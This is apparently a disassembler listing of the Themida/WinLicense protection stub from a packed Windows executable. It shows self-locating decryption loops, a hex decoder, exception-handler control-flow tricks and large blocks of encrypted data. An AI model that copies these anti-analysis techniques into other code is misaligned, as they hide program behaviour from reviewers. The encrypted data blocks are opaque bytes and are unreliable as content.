		call	sub_54AFF4
		jmp	loc_54B138
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54AFAE	proc near		; CODE XREF: start+6AEF2p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A936F5h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54AFCA:				; CODE XREF: sub_54AFAE+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54AFE9
		mov	eax, [ebp+arg_0]
		mov	[ebx+6A9365Fh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54AFCA
; ---------------------------------------------------------------------------


loc_54AFE9:				; CODE XREF: sub_54AFAE+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54AFAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54AFF4	proc near		; CODE XREF: start+6AEFCp start+6AF06p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6A9373Eh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54B01A:				; CODE XREF: sub_54AFF4+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54B01A
		mov	[ebp+var_84], 0
		lea	edi, [edx+6A9365Fh]
		lea	esi, [ebp+var_80]


loc_54B04A:				; CODE XREF: sub_54AFF4+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54B056:				; CODE XREF: sub_54AFF4+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54B056
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54B04A
		popa
		leave
		retn	4
sub_54AFF4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54B094
; ---------------------------------------------------------------------------


loc_54B090:				; CODE XREF: Themida_:0054B097j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54B094:				; CODE XREF: Themida_:0054B08Ej
		cmp	byte ptr [esi],	0
		jnz	short loc_54B090
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54B125
; ---------------------------------------------------------------------------


loc_54B0A6:				; CODE XREF: Themida_:0054B128j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54B11C
; ---------------------------------------------------------------------------


loc_54B0AF:				; CODE XREF: Themida_:0054B120j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54B109
; ---------------------------------------------------------------------------


loc_54B0BF:				; CODE XREF: Themida_:0054B10Dj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54B0E1
		cmp	bl, 39h
		ja	short loc_54B0E1
		sub	bl, 30h
		jmp	short loc_54B103
; ---------------------------------------------------------------------------


loc_54B0E1:				; CODE XREF: Themida_:0054B0D5j
					; Themida_:0054B0DAj
		cmp	bl, 61h
		jb	short loc_54B0F3
		cmp	bl, 66h
		ja	short loc_54B0F3
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54B103
; ---------------------------------------------------------------------------


loc_54B0F3:				; CODE XREF: Themida_:0054B0E4j
					; Themida_:0054B0E9j
		cmp	bl, 41h
		jb	short loc_54B103
		cmp	bl, 46h
		ja	short loc_54B103
		sub	bl, 41h
		add	bl, 0Ah


loc_54B103:				; CODE XREF: Themida_:0054B0DFj
					; Themida_:0054B0F1j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54B109:				; CODE XREF: Themida_:0054B0BDj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54B0BF
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54B119
		mov	eax, [ebp-10h]
		stosb


loc_54B119:				; CODE XREF: Themida_:0054B113j
		inc	dword ptr [ebp-8]


loc_54B11C:				; CODE XREF: Themida_:0054B0ADj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54B0AF
		add	edx, 4


loc_54B125:				; CODE XREF: Themida_:0054B0A4j
		cmp	edx, [ebp-4]
		jb	loc_54B0A6
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B138:				; CODE XREF: start+6AF0Bj
		mov	ecx, 7000h
		lea	edi, [ebp+6A93884h]


loc_54B143:				; CODE XREF: start+6B133j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54B143
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6A93988h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	esi
		call	sub_54B17F
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54B17F	proc near		; CODE XREF: start+6B163p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_54B17F	endp

; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F7E3A356h, 0D9B70F2Eh, 813EB660h, 50ACEBE2h, 0C22B6147h
		dd 0FFF00025h, 0FE9FFh,	5F8A0000h, 8B925368h, 0E5D19251h
		dd 52426BA1h, 0DF8B661Dh, 0FF33CA8Bh, 4D388166h, 0F0E755Ah
		dd 33C50B7h, 503A81D0h,	74000045h, 10002D08h, 0EB470000h
		dd 58F64E3h, 0
		dd 8D04C483h, 0A9399B95h, 0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 39A6ED81h, 858D06A9h
		dd 6A93964h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 3F1A81C3h, 7C490E74h, 8B66D88Ah, 0D98C66D8h
		dd 0DD2193BBh, 4E1803Dh, 10E9h,	163C5500h, 34F5ECC6h, 81BF2F55h
		dd 6B32A409h, 0FC90A85h, 4485h,	10E800h, 22C80000h, 0EA2E528Dh
		dd 5B9946h, 0F0C91B17h,	0DF8B2430h, 0AD85C75Bh,	106A912h
		dd 0BB000000h, 52AF23F5h, 6E8h,	0A878C800h, 0F5EE6B2Dh
		dd 25E95Bh, 890F0000h, 2, 0F7807CB3h, 0AD85C791h, 6A912h
		dd 0E9000000h, 0Bh, 3F72CB36h, 0BDCDB45Ch, 894CEEF6h, 0A9015585h
		dd 897DB306h, 0A910B585h, 0FE806h, 8AFF0000h, 6BEC7C92h
		dd 0FEF23BEFh, 0D08AB59Ah, 32EA80FCh, 4FBA6658h, 5CC0814Fh
		dd 8100005Bh, 31AF58C2h, 16A86824h, 0BE90000h, 72000000h
		dd 8F4FD11Ch, 0D3E1C2B2h, 8B5EC9EAh, 0F30FFFBh,	281h, 59D98A00h
		dd 81D0BF0Fh, 0C41495C1h, 0E3CE8067h, 8B53F181h, 13E81F57h
		dd 38000000h, 0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h,	8C7435AEh
		dd 0BF663C64h, 815AF80Ah, 805B09F1h, 0B5BF6620h, 0B308893Bh
		dd 2E883DFh, 5F515756h,	48485B5Fh, 0EE837BB3h, 15850F01h
		dd 0E9000000h, 5, 8E80F33Ch, 18E9D3h, 0A1910000h, 5FF5395Fh
		dd 0FFFF88E9h, 7E66C5FFh, 6FECC0D0h, 0D4AD6905h, 13E87443h
		dd 0B000000h, 0DE35381Ch, 0BBA5CB8Fh, 0B3539721h, 0B201C870h
		dd 8B665374h, 4CB95BF7h, 81267F39h, 677BC3h, 0D8816600h
		dd 0AE68E303h, 0B9000019h, 0B5C223h, 0EA51BE5Fh, 33FF3B4Ch
		dd 6E11E681h, 0F5A60FBh, 78Fh, 0B9666000h, 61F9A40Bh, 3052F281h
		dd 8F0F1412h, 1Ah, 14E8h, 79273400h, 0F1C57586h, 8C385D4Ah
		dd 0D8E3F668h, 0FB248160h, 0F28159AFh, 7F2DDB34h, 0CD98C281h
		dd 138965BDh, 81CEB70Fh, 0F5307BEBh, 77C38166h,	6666F530h
		dd 0EF81C88Bh, 1, 0B850Fh, 0E9F80000h, 22h, 0D9B63761h
		dd 830F510Ch, 5, 45BA4BEh, 7BE95E20h, 6EFFFFFFh, 3ED472DEh
		dd 0BD568C5Eh, 4EB52F1h, 215h, 623E9h, 0AD958900h, 6006A90Dh
		dd 0F5B96660h, 0C02B6164h, 8FDB529h, 548B06A9h,	89F92824h
		dd 0A92D0985h, 8D8B6006h, 6A90D89h, 1469B533h, 0BE6106A9h
		dd 3Ch,	0B8E0Fh, 6E90000h, 81000000h, 0F69BB0EBh, 247403CCh
		dd 99958924h, 6606A923h, 13E960ADh, 68000000h, 42815648h
		dd 1763400h, 40DABA50h,	1F129C44h, 0CEB0CC08h, 24440361h
		dd 870FF824h, 6, 10A1B531h, 0E95006A9h,	0Bh, 0F955CEEh
		dd 0CD61D6EBh, 8970D628h, 8BF92404h, 0E9607840h, 0Eh, 0DDF77A1h
		dd 152CA0FCh, 74B3F74Eh, 9D294712h, 6A924EDh, 24440361h
		dd 1BD0128h, 8B06A911h,	0BD291840h, 6A91199h, 0B5BD8940h
		dd 6006A917h, 35599D09h, 0F4BE06A9h, 6139939Fh,	3C178589h
		dd 8D0106A9h, 6A90E41h,	708BF558h, 1840F78h, 0FC000000h
		dd 1CC683FCh, 909BD09h,	740306A9h, 0AE92424h, 68000000h
		dd 55BBE9B9h, 2824E06Ch, 0BD8DF8C7h, 6A91DA9h, 8B9AB660h
		dd 0A90BF9B5h, 0FAD6106h, 183h,	4403F500h, 0B5892424h
		dd 6A9079Dh, 98589ABh, 8906A920h, 0A932D995h, 0B5BD8D06h
		dd 8906A91Ch, 0A910F59Dh, 9D01AD06h, 6A910C9h, 24244403h
		dd 819BD89h, 0E99006A9h, 10h, 0D7BA37C5h, 4FFE48Bh, 47F3B5Ah
		dd 0F77B6ADAh, 10E950h,	5620000h, 0B987E1EEh, 0BF82E93Eh
		dd 0B665E7FAh, 60908EBFh, 1FD59589h, 516006A9h,	6169B65Eh
		dd 8DF8AB61h, 0A90445BDh, 71958906h, 0AD06A91Dh, 244403F8h
		dd 14E928h, 2F290000h, 0BB6B4803h, 0B2AE3DBFh, 66DA2ABh
		dd 0C3F032F3h, 0E9ABD9A1h, 0Ch,	1FF1E07Fh, 0ED5FB511h
		dd 6DB4BCD2h, 15B5015Eh, 0FF06A90Fh, 0A93C178Dh, 17BD8306h
		dd 6A93Ch, 44C71075h, 1C24h, 0B58D0000h, 6A94071h, 0AD56E6FFh
		dd 28244403h, 8ADF8B97h, 0A916B185h, 74C08406h,	75073A04h
		dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h
		dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h,	973D8D1h
		dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h
		dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh
		dd 985FF04h, 0E906A92Dh, 0FFFFFF6Fh, 5BD895Eh, 6006A917h
		dd 9503AAB2h, 6A903F5h,	9858B61h, 906A92Dh, 0A90B1195h
		dd 89E0D106h, 0A9036595h, 45850306h, 0E906A904h, 0Bh, 9975820Fh
		dd 0BDEFDD68h, 0BE2FC9D0h, 0
		dd 35399589h, 609606A9h, 13E9h,	6E99D300h, 0CEC7917Fh
		dd 533CC000h, 0CAEDC7C6h, 51AFB01Fh, 59BD0961h,	6606A903h
		dd 0C08160ADh, 3DBF6733h, 61D38B66h, 0C68B6660h, 0E82FB966h
		dd 2E0C161h, 35F1BD89h,	850306A9h, 6A91DA9h, 9E9h, 12FAB000h
		dd 0C2E4F05Dh, 0F969713h, 0C88h, 0BB666000h, 8D03C77Dh
		dd 6A9041Dh, 0FF9AD61h,	0D89h, 8E900h, 6F540000h, 0C9250B5Dh
		dd 4C8B912Ah, 85892424h, 6A92321h, 24244403h, 0EE9h, 7453CA00h
		dd 0A9AEA272h, 775F8B9h, 8989249Fh, 0F81C2444h,	0FE9h
		dd 0EBC5E700h, 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 12E996h
		dd 0CA080000h, 0F31D56ACh, 0F6363B73h, 31C0EB71h, 0D0037725h
		dd 0C932F8ACh, 0AE9h, 0DA2D9100h, 0F506C799h, 0FEE64D16h
		dd 68F0FC1h, 89000000h,	0A926E595h, 0FD0D006h, 0A983h
		dd 0D0D0FC00h, 0A0830Fh, 0B5890000h, 6A921D9h, 32C59501h
		dd 0D0D006A9h, 8C820Fh,	89600000h, 0A91EE58Dh, 7E906h
		dd 0A2110000h, 45C5C18Bh, 0D0D0615Fh, 70820Fh, 870F0000h
		dd 8, 28C0Fh, 61600000h, 890FC9FEh, 0FFFFFFA9h,	6BE60F8h
		dd 8B57E73Dh, 0A932598Dh, 0C4836106h, 0E18D0920h, 0C706A920h
		dd 0FC2444h, 0E9000000h, 7, 5D434BDCh, 0B82178F7h, 1, 32E1BD89h
		dd 800F06A9h, 1, 228D8DFCh, 0E906A972h,	8, 0B8AE2369h
		dd 114CE839h, 8B60E1FFh, 0A924E19Dh, 85C66106h,	6A916B1h
		dd 0DE900h, 0C1470000h,	0EE1D53E9h, 24FD4069h, 613B6877h
		dd 0F3B70F60h, 8C261h, 525050F8h, 890F5250h, 0
		dd 0EE9310Fh, 5A000000h, 42A4D91Eh, 1EFE8E05h, 0AC131155h
		dd 0F585A69h, 61606031h, 0CE8h,	3EB02800h, 0E75C4002h
		dd 0B51BE3A7h, 5A615BA1h, 24348958h, 0B398589h,	0B58906A9h
		dd 6A941FFh, 1850Fh, 0F8FC0000h, 42188D89h, 8DFC06A9h
		dd 0A9410DB5h, 0D98D2906h, 8D06A90Dh, 5B8EA185h, 0D0FFFC00h
		dd 8D895EFCh, 6A90821h,	0B58BF5C3h, 6A941FFh, 188D8BFCh
		dd 6006A942h, 89C88B66h, 0A928D195h, 0C02B6106h, 0FD19D29h
		dd 0D98B06A9h, 68F0Fh, 9D290000h, 6A9110Dh, 0B4E9h, 15BD2900h
		dd 3206A91Dh, 13B86026h, 8B3CD6D4h, 0A92A65B5h,	11E96106h
		dd 48000000h, 0D4FC016Ah, 0B376C6D0h, 0A0857D45h, 0DBFCAE5Fh
		dd 0E9F802B2h, 69h, 958960FCh, 6A91E15h, 15319589h, 326106A9h
		dd 10E9C2h, 581E0000h, 27D34CA2h, 0E11394AEh, 840794B2h
		dd 7A05F5DCh, 98A751Dh,	0A92E9195h, 0FCC8A06h, 781h, 1800F00h
		dd 0F8000000h, 2960C8D3h, 0A90A09B5h, 75858906h, 6106A908h
		dd 115D8529h, 423506A9h, 8998D108h, 0A9037195h,	1CAFE06h
		dd 0A923CD95h, 0FD20A06h, 0FFFF9E85h, 0F4BFCFFh, 182h
		dd 2946F900h, 0A92625B5h, 0FDB0B06h, 0FFFF4A85h, 0F8CFF8FFh
		dd 0AE90000h, 8B000000h, 1B400C2h, 559EE0E6h, 29000091h
		dd 0A921C9B5h, 0E9000006h, 14h,	99EDC475h, 8C0459B0h, 9A277F14h
		dd 0CB4AEF94h, 4A191996h, 89600000h, 0A9038985h, 0B9B58906h
		dd 6106A903h, 3C26858Dh, 8D3106A9h, 6A931E5h, 28D58589h
		dd 0B53106A9h, 6A911A5h, 4094858Dh, 6E906A9h, 6F000000h
		dd 0B6329110h, 61B5896Eh, 8906A925h, 0A90CF585h, 14EB06h
		dd 3 dup(0)
		dd 8B000000h, 8D000000h, 0A9434685h, 0F5858906h, 8306A90Fh
		dd 0A94286BDh, 840F0006h, 135h,	16B185C6h, 685606A9h, 0B629CBE1h
		dd 58240481h, 0FF1DF5A1h, 0A90155B5h, 26858D06h, 0FF06A93Ch
		dd 7A8589D0h, 0C606A942h, 0A916B185h, 0AD685606h, 8173522Dh
		dd 8AA52404h, 0B5FF2956h, 6A90155h, 3C26858Dh, 0D0FF06A9h
		dd 427E8589h, 46A06A9h,	4E8h, 100000h, 448B5000h, 8B0424h
		dd 4244489h, 8A858B58h,	506A942h, 1F4h,	5002E0C1h, 6A240489h
		dd 7E95FF00h, 8906A942h, 0A9428285h, 0B8D88B06h, 0FFFFFFFFh
		dd 0FF595FFh, 0C38B06A9h, 0FF595FFh, 96E906A9h,	83000000h
		dd 0A94286BDh, 850F0006h, 1, 0BD8B57C3h, 6A94282h, 828583ABh
		dd 406A942h, 0BD83C35Fh, 6A94286h, 1850F00h, 0C3000000h
		dd 82AD8360h, 406A942h,	42829D8Bh, 7B8306A9h, 850FFFFCh
		dd 26h,	4E8h, 800000h, 448B5000h, 8B0424h, 4244489h, 0FF006A58h
		dd 7A95FF33h, 6106A942h, 26E9C3h, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 0A9427A95h, 82AD8306h, 406A942h, 0FFFF9FE9h,	0D3E948FFh
		dd 21000009h, 0B4C664C8h, 1A9D818Ah, 0BF8F2DDBh, 1FDA868Ah
		dd 721FA5Bh, 1C91A6F5h,	523CBC5Dh, 7C4D27FDh, 0BFCB64EEh
		dd 8958DC8h, 0AEDC7FCCh, 109F8198h, 77429510h, 185ACFFh
		dd 526EB05Ch, 734B25FDh, 0A5CB64EDh, 128892C8h,	0B2C27FD3h
		dd 4889A86h, 4321FE1Eh,	181BBB3h, 533CFD4Dh, 674B30B3h
		dd 0A3D264FBh, 1C889387h, 71D3h, 62h dup(0)
		dd 21000000h, 0BECF64C8h, 128E9D86h, 0A5DF7FCCh, 1C889284h
		dd 4627BF53h, 1786E9E0h, 416EF25Ch, 764A3CFCh, 0BFD736A9h
		dd 1A949D86h, 0F7C1369Eh, 0F8F9A92h, 5436EC1Eh,	5C89ACE7h
		dd 4B1E9133h, 775728F6h, 0BFD764A5h, 199B9B84h,	0F7DB369Eh
		dd 1095878Dh, 4A2AF21Eh, 529DBBFCh, 72AF258h, 66572CE1h
		dd 0F1D636E8h, 0F8F9B91h, 0B8DD2F9Eh, 109B878Ch, 10h, 47h dup(0)
		dd 21000000h, 0A3C164C8h, 18919789h, 0F7DC78CCh, 11959A9Fh
		dd 542EF71Eh, 1781ABB3h, 4828BC57h, 324027E6h, 0BFCC31FBh
		dd 5D9D9A81h, 0AE8F31D7h, 5D888084h, 533CE64Dh,	78CAA4F6h
		dd 4222CC34h, 3E413AF2h, 0BDCC31A9h, 5D9E9587h,	0B18F2BD7h
		dd 5D979A99h, 4822FA53h, 13C4B0E1h, 556EF857h, 73503AF6h
		dd 0A88230FBh, 5D888187h, 0B0C02DCEh, 53979499h, 61h dup(0)
		dd 21000000h, 0B4CE2DCFh, 0F9597C8h, 0A3DF2ACCh, 53DB918Eh
		dd 4E27CB1Eh, 94E9E0h, 463CFB56h, 734C69FEh, 0B4C064FAh
		dd 10DA9A8Dh, 0A7C631DFh, 99B999Eh, 466FFB5Bh, 1FC4ADFDh
		dd 422CE558h, 664D4499h, 0B88237AEh, 1E9F9286h,	0F7CB3ACAh
		dd 1CDA8C89h, 5526C91Eh, 1DC4BAE6h, 552DBC4Bh, 774F2AF2h
		dd 85826AEDh, 5D899D80h, 0B2C336D8h, 139582CBh,	506FEB19h
		dd 528FBBFCh, 4A37F258h, 3C413BFCh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 84E90000h, 3100002Dh, 0A92C7195h, 850FFC06h,	6, 15D9589h
		dd 9D8B06A9h, 6A9219Dh,	9D29C08Bh, 6A90791h, 0BD83B7B6h
		dd 6A9131Dh, 83097500h,	0A91431BDh, 13740006h, 0C08B5350h
		dd 1B8h, 0FE9D8D00h, 0FF06ABB2h, 83585BD3h, 0A91431BDh
		dd 11740006h, 1B85350h,	8D000000h, 0ABB1AF9Dh, 5BD3FF06h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 48124783h, 0D9C2FA00h, 0BF0F19B0h, 5D958BD8h
		dd 6606A925h, 0C08BD38Bh, 1B58960h, 8B06A909h, 0A925999Dh
		dd 0BD836106h, 6A91EF1h, 0A9840F00h, 1000001h, 0A914C185h
		dd 4DBD8306h, 6A906h, 196840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C7044AC3h
		dd 69CF5DCBh, 3160A257h, 0A921558Dh, 4D858B06h,	0F06A906h
		dd 688h, 0FD958B00h, 506A912h, 3E8h, 10E98589h,	0B65006A9h
		dd 240489AAh, 1E71B589h, 9D8906A9h, 6A92035h, 4D9C858Dh
		dd 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 66F8F4C3h, 8166FD4Bh, 906C06F3h, 0DF1FBB66h
		dd 904DB650h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	7FC35040h, 61EBB66h, 4D7A858Dh,	8B5006A9h, 240489D7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 1AC35141h
		dd 0CA0B6CA6h, 95FFCBB7h, 6A900D9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 8EC35141h, 0FC521152h, 800CC483h
		dd 858D28DFh, 6A94D7Ah,	0C598509h, 0D18B06A9h, 6E890h
		dd 0B48F0000h, 0F3628176h, 4870Fh, 0BA660000h, 505B16FCh
		dd 8B90D38Bh, 0A9143D9Dh, 6AD18B06h, 57006A02h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E09DB51h
		dd 898A0CC4h, 0A900518Dh, 1495FF06h, 6A006AEDh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 29D5C351h, 0AC9FFF25h, 0B589F755h, 6A91101h,	0C0EB8061h
		dd 4DAD85C7h, 106A9h, 952B0000h, 6A91335h, 14E996h, 5C8B0000h
		dd 5ECB640h, 0A89B5208h, 7BE7F0D6h, 0B21FFC52h,	6650C7B2h
		dd 96AC4EBBh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	0E4C35040h, 9705A73h, 56195DC5h, 4D9D8B20h, 8906A90Dh
		dd 0A94D5EB5h, 15800F06h, 0E9000000h, 10h, 0C44DDC3Ch
		dd 2E869005h, 0A448696h, 0B255199Ah, 12ADBD83h,	0F0106A9h
		dd 4485h, 11958B00h, 8306A913h,	850F05F8h, 35h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A5C35242h, 0A6F2134Fh
		dd 0CE97F6F4h, 0A5BD29D0h, 0B806A92Dh, 0
		dd 1FD28166h, 35BD83FEh, 6A909h, 71840Fh, 850F0000h, 27h
		dd 13E8h, 0FBEEFF00h, 6DA4F279h, 0D3FE5D88h, 0D91E5A79h
		dd 8E0542A4h, 9E9h, 0CC2D5B00h,	5F86976h, 605A278Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 67C35141h, 3595FF95h
		dd 0E906A909h, 0Bh, 0F43A087Dh,	9AF1756Ah, 8B349BBEh, 0A90DD995h
		dd 0BF0F6106h, 899589D0h, 8306A91Dh, 0A92D69BDh, 840F0006h
		dd 30h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah
		dd 27C35141h, 0FC68E2F7h, 8B66644Dh, 0B8D8h, 958B0000h
		dd 6A91E81h, 7E860h, 656B0000h,	9444F8F2h, 499D8B61h, 5A06A928h
		dd 1111858Bh, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8A736DC3h, 2C083D7h, 0DE8h, 6BE4B700h
		dd 0C53638C7h, 4396E534h, 820F333Eh, 3,	5BD18B66h, 89D8BF0Fh
		dd 0A94D5685h, 0DE806006h, 61EE8AF2h, 6AFF00C6h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0BC07C357h, 2415629Bh, 0B185C60Fh, 5306A916h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EBC35141h, 80B5E6FCh
		dd 0C568C3CBh, 57AA05A0h, 0BE8h, 5DECEE00h, 752E773Ah
		dd 7A31ADDh, 5A5A5B57h,	13240481h, 6A52ABA8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0BA8CC353h, 5531505Eh, 8B8AAB1Ah, 0A908419Dh, 0B5B5FF06h
		dd 6A06A910h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 52B8C355h, 5BA5ABEBh, 0B91EBA4Ch
		dd 358DB589h, 958906A9h, 6A904D5h, 73FC858Dh, 858906ACh
		dd 6A90CA1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 9D8B3FC3h, 6A9173Dh, 8589D88Bh
		dd 6A92D95h, 658D3160h,	106A932h, 0A91109B5h, 0BD836106h
		dd 6A90139h, 0FC850F01h, 0F9000000h, 5DBD0961h,	0C606A928h
		dd 0A916B185h, 6A4506h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 662AA4C3h, 4E8D78Bh, 0C2000000h
		dd 8BDA6038h, 666050DEh, 6060DDBEh, 0E8D78B66h,	6, 0A64C2711h
		dd 615B0FBEh, 24448B61h, 0D52DBA04h, 8B1B89h, 2890Fh, 0DA8B0000h
		dd 4244489h, 0BA665250h, 310F7E12h, 0EE8h, 20357200h, 740A465Dh
		dd 9DE545EBh, 60FFFED1h, 585A5B61h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 4BBB6660h
		dd 0B5B5FF0Fh, 6606A910h, 8DDF8FBBh, 0AC73FC85h, 0BF0F6006h
		dd 2810FFBh, 8A000000h,	0D0FF61D4h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0F7C35747h,	58D0FF0h, 66000000h
		dd 0A8B1F281h, 0F98A006Ah, 0F8BBD0FFh, 83553716h, 0A93481BDh
		dd 850F0106h, 0ECh, 0FE9FEA81h,	858B4300h, 6A91111h, 5D03F381h
		dd 0BEE90A5Eh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0F8E4C356h,	0A5A2F3F6h
		dd 75BA66ECh, 0B58960D1h, 6A927FDh, 11E8h, 7ED11D00h, 0FCAC1829h
		dd 0DA7B2FD1h, 0D7D37CA7h, 8D016EAAh, 6A903D9h,	5090615Ah
		dd 0E9310F52h, 6, 3865897Eh, 585A5444h,	7E89050h, 7B000000h
		dd 0CE7D447Fh, 6A5B887Eh, 51006A14h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 726C9FBFh
		dd 2D9595FFh, 6A06A9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0DEB1CC3h, 0BA66F650h, 8B58CCC4h
		dd 0A914199Dh, 388006h,	0FF84850Fh, 0DA81FFFFh,	1DDCB331h
		dd 0BA0100C6h, 23F5A313h, 31B58961h, 8B06A922h,	0A913999Dh
		dd 4DBD8306h, 6A90Eh, 54840Fh, 9D890000h, 6A93385h, 6AFF6Ah
